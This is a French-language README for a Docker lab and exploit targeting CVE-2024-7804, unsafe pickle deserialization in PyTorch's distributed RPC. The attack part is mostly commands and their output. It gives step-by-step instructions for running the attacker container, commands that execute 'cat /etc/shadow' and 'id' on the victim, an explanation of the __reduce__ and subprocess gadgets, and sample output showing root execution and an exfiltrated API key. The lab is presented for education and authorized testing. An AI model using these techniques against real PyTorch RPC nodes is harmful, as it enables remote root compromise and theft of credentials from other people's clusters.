
# Lab Docker + exploit Python pour CVE-2024-7804 (PyTorch torch.distributed.rpc désérialisation pickle non sécurisée RCE, CWE-502, torch <= 2.3.1)
Laboratoire autonome + exploit pour CVE-2024-7804 : exécution de code à distance
dans le framework RPC distribué de PyTorch (torch.distributed.rpc) via une
désérialisation non sécurisée de données non fiables (CWE-502).
torch <= 2.3.1torch/distributed/rpc/internal.py — _InternalRPCPickler.deserialize()Remarque : cet avis a ensuite été retiré/rejeté par les mainteneurs et Red Hat comme « fonctionnalité connue » — le RPC de PyTorch est par conception un système pair de confiance. Le laboratoire reste une démonstration précise et pratique du problème signalé.
Chaque appel RPC transporte un namedtuple PythonUDF (func, args, kwargs). Sur
le nœud récepteur, il est reconstruit avec un pickle.Unpickler nu, sans liste
blanche ni contrôle d'intégrité :
# torch/distributed/rpc/internal.py (torch 2.3.1)
def deserialize(self, binary_data, tensor_table):
...
unpickler = _unpickler(io.BytesIO(binary_data)) # _unpickler = pickle.Unpickler
ret = unpickler.load() # <-- pickle contrôlé par l'attaquant
...
Tout pair pouvant rejoindre le « monde » RPC peut donc faire exécuter du code
arbitraire au nœud — soit via un gadget pickle __reduce__ qui se déclenche
pendant load(), soit simplement en nommant n'importe quel appelable importable
comme UDF, puisque rien ne restreint ce que le nœud exécutera.
CVE-2024-7804/
├── docker-compose.yml # victime + attaquant sur un même réseau bridge
├── lab/
│ ├── Dockerfile # python:3.11-slim + torch 2.3.1 (CPU) — l'image vulnérable
│ └── server.py # victime : un worker RPC confiant qui attend des pairs
└── exploit/
└── exploit.py # attaquant : rejoint le monde et exécute du code sur la victime
Docker avec le plugin Compose. CPU uniquement (pas de GPU), fonctionne sur amd64 et arm64.
# 1. Démarrer le nœud victime vulnérable (rang 0, attend un pair)
docker compose up --build -d victim
# 2. Lancer l'exploit (par défaut : exécuter une commande sur la victime et récupérer sa sortie standard)
docker compose run --rm attacker
# 3. Tout arrêter
docker compose down
[attacker] ===== sortie de la commande renvoyée par la victime =====
uid=0(root) gid=0(root) groups=0(root)
victim
--- secret exfiltré ---
CLUSTER_API_KEY=sk-live-9c1f4b7e-DO-NOT-LEAK
[attacker] ===== fin de la sortie =====
L'attaquant a exécuté des commandes en root sur la victime et exfiltré un fichier qui n'était jamais censé être exposé.
| Commande | Ce qu'elle démontre |
|---|---|
docker compose run --rm attacker | Envoie subprocess.check_output comme UDF. La victime exécute la commande et renvoie sa sortie standard — RCE et exfiltration en un seul appel. |
docker compose run --rm attacker python exploit.py --reduce | Envoie un objet dont le __reduce__ exécute os.system pendant que la victime désérialise la charge utile — RCE au moment de la désérialisation (l'essence de CWE-502), avant même que l'UDF ne soit appelé. |
Commande personnalisée :
docker compose run --rm attacker python exploit.py --cmd "cat /etc/shadow"
Pour --reduce, la commande s'exécute sur la victime, surveillez-la donc là-bas :
docker compose run --rm attacker python exploit.py --reduce --cmd "id"
docker compose logs victim # la sortie apparaît dans le journal de la VICTIME
Le journal de la victime pour --reduce se termine par une traceback à
torch/distributed/rpc/internal.py, ligne ~207 (python_udf.func(...)) — preuve que
la charge utile a déjà été reconstruite et exécutée par le désérialiseur non sécurisé.
29500) à des réseaux
non fiables.Pour l'éducation et les tests de sécurité autorisés uniquement. Le laboratoire est intentionnellement vulnérable — ne le déployez pas, et n'exécutez l'exploit que contre ce laboratoire.